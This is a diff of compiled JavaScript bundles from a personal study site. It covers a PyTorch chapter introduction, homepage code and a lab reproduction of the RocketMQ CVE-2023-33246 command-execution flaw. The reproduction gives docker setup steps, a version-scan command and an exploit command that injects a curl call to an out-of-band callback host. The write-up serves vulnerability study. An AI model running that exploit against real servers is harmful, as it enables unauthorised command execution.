\u672c\u7ae0\u7b80\u4ecb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u516b\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/"},"next":{"title":"8.2 \u56fe\u50cf - torchvision.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision"}}');var s=n(74848),c=n(28453);const i={},o="8.1 \u672c\u7ae0\u7b80\u4ecb.md",l={},h=[];function d(e){const t={h1:"h1",header:"header",img:"img",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,c.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"81-\u672c\u7ae0\u7b80\u4ecbmd",children:"8.1 \u672c\u7ae0\u7b80\u4ecb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:29"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"81-\u672c\u7ae0\u7b80\u4ecb",children:"8.1 \u672c\u7ae0\u7b80\u4ecb"}),"\n",(0,s.jsx)(t.p,{children:"\u606d\u559c\u4f60\uff0c\u7ecf\u8fc7\u524d\u9762\u4e03\u7ae0\u5185\u5bb9\u7684\u5b66\u4e60\uff0c\u4f60\u5df2\u7ecf\u9010\u6b65\u719f\u6089\u4e86PyTorch\u7684\u4f7f\u7528\uff0c\u80fd\u591f\u5b9a\u4e49\u548c\u4fee\u6539\u81ea\u5df1\u7684\u6a21\u578b\uff0c\u5b66\u4f1a\u4e86\u5e38\u7528\u7684\u8bad\u7ec3\u6280\u5de7\uff0c\u5e76\u901a\u8fc7\u53ef\u89c6\u5316\u8f85\u52a9PyTorch\u7684\u4f7f\u7528\u3002"}),"\n",(0,s.jsx)(t.p,{children:"PyTorch\u7684\u5f3a\u5927\u5e76\u4e0d\u4ec5\u5c40\u9650\u4e8e\u81ea\u8eab\u7684\u6613\u7528\u6027\uff0c\u66f4\u5728\u4e8e\u5f00\u6e90\u793e\u533a\u56f4\u7ed5PyTorch\u6240\u4ea7\u751f\u7684\u4e00\u7cfb\u5217\u5de5\u5177\u5305\uff08\u4e00\u822c\u662fPython package\uff09\u548c\u7a0b\u5e8f\uff0c\u8fd9\u4e9b\u4f18\u79c0\u7684\u5de5\u5177\u5305\u6781\u5927\u5730\u65b9\u4fbf\u4e86PyTorch\u5728\u7279\u5b9a\u9886\u57df\u7684\u4f7f\u7528\u3002\u6bd4\u5982\u5bf9\u4e8e\u8ba1\u7b97\u673a\u89c6\u89c9\uff0c\u6709TorchVision\u3001TorchVideo\u7b49\u7528\u4e8e\u56fe\u7247\u548c\u89c6\u9891\u5904\u7406\uff1b\u5bf9\u4e8e\u81ea\u7136\u8bed\u8a00\u5904\u7406\uff0c\u6709torchtext\uff1b\u5bf9\u4e8e\u56fe\u5377\u79ef\u7f51\u7edc\uff0c\u6709PyTorch Geometric \xb7\xb7\xb7\xb7\xb7\xb7\u3002\u8fd9\u91cc\u53ea\u662f\u4e3e\u4f8b\uff0c\u6bcf\u4e2a\u9886\u57df\u8fd8\u6709\u5f88\u591a\u4f18\u79c0\u7684\u5de5\u5177\u5305\u4f9b\u793e\u533a\u4f7f\u7528\u3002\u8fd9\u4e9b\u5de5\u5177\u5305\u5171\u540c\u6784\u6210\u4e86PyTorch\u7684\u751f\u6001\uff08EcoSystem\uff09\u3002"}),"\n",(0,s.jsx)(t.p,{children:"PyTorch\u751f\u6001\u5f88\u5927\u7a0b\u5ea6\u52a9\u529b\u4e86PyTorch\u7684\u63a8\u5e7f\u4e0e\u6210\u529f\u3002\u5728\u7279\u5b9a\u9886\u57df\u4f7f\u7528PyTorch\u751f\u6001\u4e2d\u7684\u5de5\u5177\u5305\uff0c\u80fd\u591f\u6781\u5927\u5730\u964d\u4f4e\u5165\u95e8\u95e8\u69db\uff0c\u65b9\u4fbf\u590d\u73b0\u5df2\u6709\u7684\u5de5\u4f5c\u3002\u6bd4\u5982\u6211\u4eec\u5728\u8ba8\u8bba\u6a21\u578b\u4fee\u6539\u65f6\u5019\u5c31\u7528\u5230\u4e86torchvision\u4e2d\u9884\u5b9a\u4e49\u7684resnet\u7ed3\u6784\uff0c\u800c\u4e0d\u9700\u8981\u81ea\u5df1\u91cd\u65b0\u7f16\u5199\u3002\u540c\u65f6\uff0cPyTorch\u751f\u6001\u6709\u52a9\u4e8e\u793e\u533a\u529b\u91cf\u7684\u52a0\u5165\uff0c\u5171\u540c\u4e3a\u793e\u533a\u63d0\u4f9b\u66f4\u6709\u4ef7\u503c\u7684\u5185\u5bb9\u548c\u7a0b\u5e8f\uff0c\u8fd9\u4e5f\u662f\u5f00\u6e90\u7406\u5ff5\u6240\u575a\u6301\u7684\u4ef7\u503c\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u5728\u540e\u9762\u7684\u5185\u5bb9\u4e2d\uff0c\u6211\u4eec\u4f1a\u9010\u6b65\u4ecb\u7ecdPyTorch\u751f\u6001\u5728\u56fe\u50cf\u3001\u89c6\u9891\u3001\u6587\u672c\u7b49\u9886\u57df\u4e2d\u7684\u53d1\u5c55\uff0c\u9488\u5bf9\u67d0\u4e2a\u9886\u57df\u6211\u4eec\u9009\u62e9\u5176\u4e2d\u6709\u4ee3\u8868\u6027\u7684\u4e00\u4e2a\u5de5\u5177\u5305\u8fdb\u884c\u8be6\u7ec6\u4ecb\u7ecd\uff0c\u4e3b\u8981\u5305\u62ec\u5de5\u5177\u5305\u7684\u4f5c\u8005\u6216\u5176\u6240\u5728\u673a\u6784\u3001\u6570\u636e\u9884\u5904\u7406\u5de5\u5177\uff08\u8fd9\u5757\u53ef\u80fd\u518d\u5f15\u5165\u7b2c\u4e09\u65b9\u5de5\u5177\u5305\uff09\u3001\u6570\u636e\u6269\u589e\u3001\u5e38\u7528\u6a21\u578b\u7ed3\u6784\u7684\u9884\u5b9a\u4e49\u3001\u9884\u8bad\u7ec3\u6a21\u578b\u6743\u91cd\u3001\u5e38\u7528\u635f\u5931\u51fd\u6570\u3001\u5e38\u7528\u8bc4\u6d4b\u6307\u6807\u3001\u5c01\u88c5\u597d\u7684\u8bad\u7ec3&\u6d4b\u8bd5\u6a21\u5757\uff0c\u4ee5\u53ca\u53ef\u89c6\u5316\u5de5\u5177\u3002\u8fd9\u4e9b\u5185\u5bb9\u4e5f\u662f\u6211\u4eec\u5728\u4f7f\u7528\u5bf9\u5e94\u5de5\u5177\u5305\u65f6\u4f1a\u7528\u5230\u7684\u3002\u8bfb\u8005\u53ef\u4ee5\u6839\u636e\u81ea\u8eab\u9700\u8981\u91cd\u70b9\u5b66\u4e60\uff0c\u5bf9\u4e8e\u81ea\u5df1\u7814\u7a76\u6240\u4e0d\u6d89\u53ca\u7684\u5de5\u5177\u5305\uff0c\u53ef\u4ee5\u53ea\u505a\u4e86\u89e3\uff0c\u9700\u8981\u4f7f\u7528\u65f6\u518d\u6765\u5b66\u4e60\u3002"}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.strong,{children:"\u6ce8\uff1a"})}),"\n",(0,s.jsx)(t.p,{children:"\u672c\u7ae0\u5185\u5bb9\u4f1a\u4e0d\u65ad\u66f4\u65b0\uff0c\u6b22\u8fce\u5927\u5bb6\u5728issue\u4e2d\u63d0\u51fa\u5b9d\u8d35\u5efa\u8bae\uff0c\u6216\u8005\u76f4\u63a5pull request~"})]})}function a(e={}){const{wrapper:t}={...(0,c.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>o});var r=n(96540);const s={},c=r.createContext(s);function i(e){const t=r.useContext(c);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function o(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),r.createElement(c.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/c4f5d8e4.7912aeac.js b/assets/js/c4f5d8e4.7912aeac.js new file mode 100644 index 0000000..b9eba52 --- /dev/null +++ b/assets/js/c4f5d8e4.7912aeac.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2634],{56467:(e,s,i)=>{i.r(s),i.d(s,{default:()=>j});var a=i(34164),c=i(28774),l=i(44586),o=i(21656),n=i(51107);const r={features:"features_t9lD",featureSvg:"featureSvg_GfXr"};var t=i(74848);const h=[];function d({Svg:e,title:s,description:i}){return(0,t.jsxs)("div",{className:(0,a.A)("col col--4"),children:[(0,t.jsx)("div",{className:"text--center",children:(0,t.jsx)(e,{className:r.featureSvg,role:"img"})}),(0,t.jsxs)("div",{className:"text--center padding-horiz--md",children:[(0,t.jsx)(n.A,{as:"h3",children:s}),(0,t.jsx)("p",{children:i})]})]})}function m(){return(0,t.jsx)("section",{className:r.features,children:(0,t.jsx)("div",{className:"container",children:(0,t.jsx)("div",{className:"row",children:h.map((e,s)=>(0,t.jsx)(d,{...e},s))})})})}const g={heroBanner:"heroBanner_qdFl","hero-title":"hero-title_l9ov","cool-button":"cool-button_ql7L",buttons:"buttons_AeoN","waving-hand":"waving-hand_cs2R",wave:"wave_H3LG","home-container":"home-container_oR0z","social-icons":"social-icons_yr12","badges-container":"badges-container_DpSj","badge-image-class":"badge-image-class_eOmn","social-icon":"social-icon_dUqL","github-icon":"github-icon_u8pr","mail-icon":"mail-icon_bKNN","wechat-icon":"wechat-icon_LFEJ","rss-icon":"rss-icon_sYS7","okx-icon":"okx-icon_iwgw","cool-button-extra":"cool-button-extra_im0O"};function x(){const{siteConfig:e}=(0,l.A)();return(0,t.jsx)("header",{className:(0,a.A)("hero",g.heroBanner),children:(0,t.jsx)("div",{className:"container",children:(0,t.jsxs)("div",{className:g["home-container"],children:[(0,t.jsx)(n.A,{as:"h1",className:"hero__title",children:(0,t.jsxs)("h1",{className:g["hero-title"],style:{fontSize:"clamp(2rem, 5vw, 3.5rem)"},children:["\u4f60\u597d\uff0c\u6211\u662f",(0,t.jsx)("span",{style:{color:"var(--ifm-color-primary)"},children:e.title}),(0,t.jsx)("span",{className:g["waving-hand"],role:"img","aria-label":"waving hand",children:"\ud83d\udc4b"})]})}),(0,t.jsx)("p",{style:{fontSize:"clamp(1rem, 2vw, 1.2rem);",lineHeight:1.6,marginBottom:"2rem",color:"var(--ifm-color-emphasis-700)"},children:e.tagline}),(0,t.jsxs)("div",{className:g["badges-container"],children:[(0,t.jsx)("img",{className:g["badge-image-class"],src:"https://img.shields.io/badge/Docusaurus-3.9.1-blue?logo=docusaurus&logoColor=white",alt:"Docusaurus"}),(0,t.jsx)("img",{className:g["badge-image-class"],src:"https://img.shields.io/badge/Powered_by-wjlin0-blue?logo=react&logoColor=white",alt:"wjlin0"}),(0,t.jsx)("a",{href:"https://github.com/wjlin0/pathScan",children:(0,t.jsx)("img",{alt:"Go",className:g["badge-image-class"],src:"https://img.shields.io/badge/wjlin0-pathScan-blue?logo=go&logoColor=white"})}),(0,t.jsx)("a",{href:"https://www.wjlin0.com",children:(0,t.jsx)("img",{className:g["badge-image-class"],src:"https://visitor-badge.laobi.icu/badge?page_id=wjlin0",alt:"visitor"})})]}),(0,t.jsxs)("div",{className:g["social-icons"],children:[(0,t.jsx)("a",{className:(0,a.A)(g["social-icon"],g["github-icon"]),href:"#",target:"_blank",rel:"noreferrer",children:(0,t.jsx)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"currentColor",children:(0,t.jsx)("path",{d:"M12 .297c-6.63 0-12 5.373-12 12 0 5.303 3.438 9.8 8.205 11.385.6.113.82-.258.82-.577 0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729 1.205.084 1.838 1.236 1.838 1.236 1.07 1.835 2.809 1.305 3.495.998.108-.776.417-1.305.76-1.605-2.665-.3-5.466-1.332-5.466-5.93 0-1.31.465-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 0 0 1.005-.322 3.3 1.23.96-.267 1.98-.399 3-.405 1.02.006 2.04.138 3 .405 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 3.176.765.84 1.23 1.91 1.23 3.22 0 4.61-2.805 5.625-5.475 5.92.42.36.81 1.096.81 2.22 0 1.606-.015 2.896-.015 3.286 0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12"})})}),(0,t.jsx)("a",{className:(0,a.A)(g["social-icon"],g["mail-icon"]),href:"mailto:support@wjlin0.com",children:(0,t.jsx)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"currentColor",children:(0,t.jsx)("path",{d:"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 4l-8 5-8-5V6l8 5 8-5v2z"})})}),(0,t.jsx)("a",{href:"#","aria-label":"WeChat",className:(0,a.A)(g["social-icon"],g["wechat-icon"]),children:(0,t.jsx)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"currentColor",children:(0,t.jsx)("path",{d:"M8.691 2.188C3.891 2.188 0 5.476 0 9.53c0 2.212 1.17 4.203 3.002 5.55a.59.59 0 0 1 .213.665l-.39 1.48c-.019.07-.048.141-.048.213 0 .163.13.295.29.295a.326.326 0 0 0 .167-.054l1.903-1.114a.864.864 0 0 1 .717-.098 10.16 10.16 0 0 0 2.837.403c.276 0 .543-.027.811-.05-.857-2.578.157-4.972 1.932-6.446 1.703-1.415 3.882-1.98 5.853-1.838-.576-3.583-4.196-6.348-8.596-6.348zM5.785 5.991c.642 0 1.162.529 1.162 1.18a1.17 1.17 0 0 1-1.162 1.178A1.17 1.17 0 0 1 4.623 7.17c0-.651.52-1.18 1.162-1.18zm5.813 0c.642 0 1.162.529 1.162 1.18a1.17 1.17 0 0 1-1.162 1.178 1.17 1.17 0 0 1-1.162-1.178c0-.651.52-1.18 1.162-1.18zm5.34 2.867c-1.797-.052-3.746.512-5.28 1.786-1.72 1.428-2.687 3.72-1.78 6.22.942 2.453 3.666 4.229 6.884 4.229.826 0 1.622-.12 2.361-.336a.722.722 0 0 1 .598.082l1.584.926a.272.272 0 0 0 .14.047c.134 0 .24-.111.24-.247 0-.06-.023-.12-.038-.177l-.327-1.233a.582.582 0 0 1-.023-.156.49.49 0 0 1 .201-.398C23.024 18.48 24 16.82 24 14.98c0-3.21-2.931-5.837-6.656-6.088V8.89c-.135-.01-.27-.027-.407-.03zm-2.53 3.274c.535 0 .969.44.969.982a.976.976 0 0 1-.969.983.976.976 0 0 1-.969-.983c0-.542.434-.982.97-.982zm4.844 0c.535 0 .969.44.969.982a.976.976 0 0 1-.969.983.976.976 0 0 1-.969-.983c0-.542.434-.982.969-.982z"})})}),(0,t.jsx)("a",{className:(0,a.A)(g["social-icon"],g["rss-icon"]),href:"/rss.xml",children:(0,t.jsxs)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"currentColor",children:[(0,t.jsx)("path",{d:"M19 20.001C19 11.729 12.271 5 4 5v2c7.168 0 13 5.832 13 13.001h2z"}),(0,t.jsx)("path",{d:"M12 20.001h2C14 14.486 9.514 10 4 10v2c4.411 0 8 3.589 8 8.001z"}),(0,t.jsx)("circle",{cx:"6",cy:"18",r:"2"})]})})]}),(0,t.jsx)(c.A,{className:(0,a.A)(g["cool-button"],g["cool-button-extra"]),to:"/docs/intro",children:"\u8fdb\u5165\u6211\u7684\u77e5\u8bc6\u5e93"})]})})})}function j(){const{siteConfig:e}=(0,l.A)();return(0,t.jsxs)(o.A,{title:`\u9996\u9875 | ${e.title} \u77e5\u8bc6\u5e93`,description:"Description will go into a meta tag in ",children:[(0,t.jsx)(x,{}),(0,t.jsx)("main",{children:(0,t.jsx)(m,{})})]})}}}]); \ No newline at end of file diff --git a/assets/js/c66a89f8.a42b738b.js b/assets/js/c66a89f8.a42b738b.js new file mode 100644 index 0000000..34f2774 --- /dev/null +++ b/assets/js/c66a89f8.a42b738b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[52],{28453:(e,n,t)=>{t.d(n,{R:()=>s,x:()=>a});var r=t(96540);const o={},c=r.createContext(o);function s(e){const n=r.useContext(c);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function a(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(o):e.components||o:s(e.components),r.createElement(c.Provider,{value:n},e.children)}},90428:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>i,contentTitle:()=>a,default:()=>d,frontMatter:()=>s,metadata:()=>r,toc:()=>l});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246","title":"CVE-2023-33246","description":"CVE-2023-33246","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/04.cve/2023/01.CVE-2023-33246.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/04.cve/2023","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/04.cve/2023/01.CVE-2023-33246.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237"},"next":{"title":"CVE-2023-33979","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979"}}');var o=t(74848),c=t(28453);const s={},a=void 0,i={},l=[{value:"\u73af\u5883\u642d\u5efa",id:"\u73af\u5883\u642d\u5efa",level:2},{value:"\u653b\u51fb",id:"\u653b\u51fb",level:2}];function p(e){const n={a:"a",blockquote:"blockquote",code:"code",h2:"h2",p:"p",pre:"pre",...(0,c.R)(),...e.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(n.p,{children:"CVE-2023-33246"}),"\n",(0,o.jsxs)(n.blockquote,{children:["\n",(0,o.jsx)(n.p,{children:"\u5bf9\u4e8eRocketMQ 5.1.0\u53ca\u4ee5\u4e0b\u7248\u672c\uff0c\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u5b58\u5728\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u7684\u98ce\u9669\u3002RocketMQ\u7684\u51e0\u4e2a\u7ec4\u4ef6\uff0c\u5305\u62ecNameServer\u3001Broker\u548cController\uff0c\u5728extranet\u4e0a\u6cc4\u9732\uff0c\u5e76\u4e14\u7f3a\u4e4f\u6743\u9650\u9a8c\u8bc1\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528\u66f4\u65b0\u914d\u7f6e\u529f\u80fd\u4f5c\u4e3aRocketMQ\u8fd0\u884c\u7684\u7cfb\u7edf\u7528\u6237\u6267\u884c\u547d\u4ee4\u6765\u5229\u7528\u6b64\u6f0f\u6d1e\u3002\u6b64\u5916\uff0c\u653b\u51fb\u8005\u8fd8\u53ef\u4ee5\u901a\u8fc7\u4f2a\u9020RocketMQ\u534f\u8bae\u5185\u5bb9\u6765\u8fbe\u5230\u540c\u6837\u7684\u6548\u679c\u3002\u4e3a\u4e86\u9632\u6b62\u8fd9\u4e9b\u653b\u51fb\uff0c\u5efa\u8bae\u7528\u6237\u5347\u7ea7\u52305.1.1\u6216\u66f4\u9ad8\u7248\u672c\u4ee5\u4f7f\u7528RocketMQ 5.x\uff0c\u6216\u5347\u7ea7\u52304.9.6\u6216\u66f4\u9ad8\u7248\u4ee5\u4f7f\u7528Rocket MQ 4.x\u3002"}),"\n"]}),"\n",(0,o.jsx)(n.h2,{id:"\u73af\u5883\u642d\u5efa",children:"\u73af\u5883\u642d\u5efa"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{children:'docker pull apache/rocketmq:4.9.4\n# Start nameserver\ndocker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv\n# Start Broker\ndocker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf\n'})}),"\n",(0,o.jsx)(n.h2,{id:"\u653b\u51fb",children:"\u653b\u51fb"}),"\n",(0,o.jsxs)(n.blockquote,{children:["\n",(0,o.jsxs)(n.p,{children:["poc: ",(0,o.jsx)(n.a,{href:"https://github.com/wjlin0/poc/blob/main/nuclei/CVE-2023-33246/check.py",children:"check.py"})]}),"\n",(0,o.jsxs)(n.p,{children:["exp: ",(0,o.jsx)(n.a,{href:"https://github.com/wjlin0/poc/blob/main/nuclei/CVE-2023-33246/poc/CVE-2023-33246/exp.py",children:"exp.py"})]}),"\n"]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{children:"# Detect RocketMQ version to identify vulnerabilities\n```\npython3 check.py --ip 127.0.0.1 --port 9876\n# or \npython3 check.py --file rocketmq_targets.txt --port 9876\n```\n\n# Run exploit\n```\npython3 exp.py 127.0.0.1 10911 curl chw9ft72vtc00002z5k0ge6rz7eyyyyyb.oast.fun/test\n```\n\n"})})]})}function d(e={}){const{wrapper:n}={...(0,c.R)(),...e.components};return n?(0,o.jsx)(n,{...e,children:(0,o.jsx)(p,{...e})}):p(e)}}}]); \ No newline at end of file diff --git a/assets/js/c6fd516c.2eb6196f.js b/assets/js/c6fd516c.2eb6196f.js new file mode 100644 index 0000000..0845774 --- /dev/null +++ b/assets/js/c6fd516c.2eb6196f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9481],{28453:(e,n,t)=>{t.d(n,{R:()=>c,x:()=>s});var l=t(96540);const i={},r=l.createContext(i);function c(e){const n=l.useContext(r);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function s(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:c(e.components),l.createElement(r.Provider,{value:n},e.children)}},30120:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>d,contentTitle:()=>s,default:()=>h,frontMatter:()=>c,metadata:()=>l,toc:()=>a});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04","description":"\u53d8\u91cf\u7684\u5185\u5728\u673a\u5236","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/17.GoLang-\u53cd\u5c04.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/17.GoLang-\u53cd\u5c04.md","tags":[],"version":"current","sidebarPosition":17,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u63a5\u53e3","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1"}}');var i=t(74848),r=t(28453);const c={},s="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04",d={},a=[{value:"\u53d8\u91cf\u7684\u5185\u5728\u673a\u5236",id:"\u53d8\u91cf\u7684\u5185\u5728\u673a\u5236",level:2},{value:"\u53cd\u5c04\u4ecb\u7ecd",id:"\u53cd\u5c04\u4ecb\u7ecd",level:2},{value:"reflect\u5305",id:"reflect\u5305",level:2},{value:"TypeOf",id:"typeof",level:3},{value:"type name\u548ctype kind",id:"type-name\u548ctype-kind",level:4},{value:"ValueOf",id:"valueof",level:3},{value:"\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u503c",id:"\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u503c",level:4},{value:"\u901a\u8fc7\u53cd\u5c04\u8bbe\u7f6e\u53d8\u91cf\u7684\u503c",id:"\u901a\u8fc7\u53cd\u5c04\u8bbe\u7f6e\u53d8\u91cf\u7684\u503c",level:4},{value:"isNil()\u548cisValid()",id:"isnil\u548cisvalid",level:4},{value:"isNil()",id:"isnil",level:5},{value:"isValid()",id:"isvalid",level:5},{value:"\u4e3e\u4e2a\u4f8b\u5b50",id:"\u4e3e\u4e2a\u4f8b\u5b50",level:5},{value:"\u7ed3\u6784\u4f53\u53cd\u5c04",id:"\u7ed3\u6784\u4f53\u53cd\u5c04",level:2},{value:"\u4e0e\u7ed3\u6784\u4f53\u76f8\u5173\u7684\u65b9\u6cd5",id:"\u4e0e\u7ed3\u6784\u4f53\u76f8\u5173\u7684\u65b9\u6cd5",level:3},{value:"StructField\u7c7b\u578b",id:"structfield\u7c7b\u578b",level:3},{value:"\u7ed3\u6784\u4f53\u53cd\u5c04\u793a\u4f8b",id:"\u7ed3\u6784\u4f53\u53cd\u5c04\u793a\u4f8b",level:3},{value:"\u53cd\u5c04\u662f\u628a\u53cc\u5203\u5251",id:"\u53cd\u5c04\u662f\u628a\u53cc\u5203\u5251",level:2}];function o(e){const 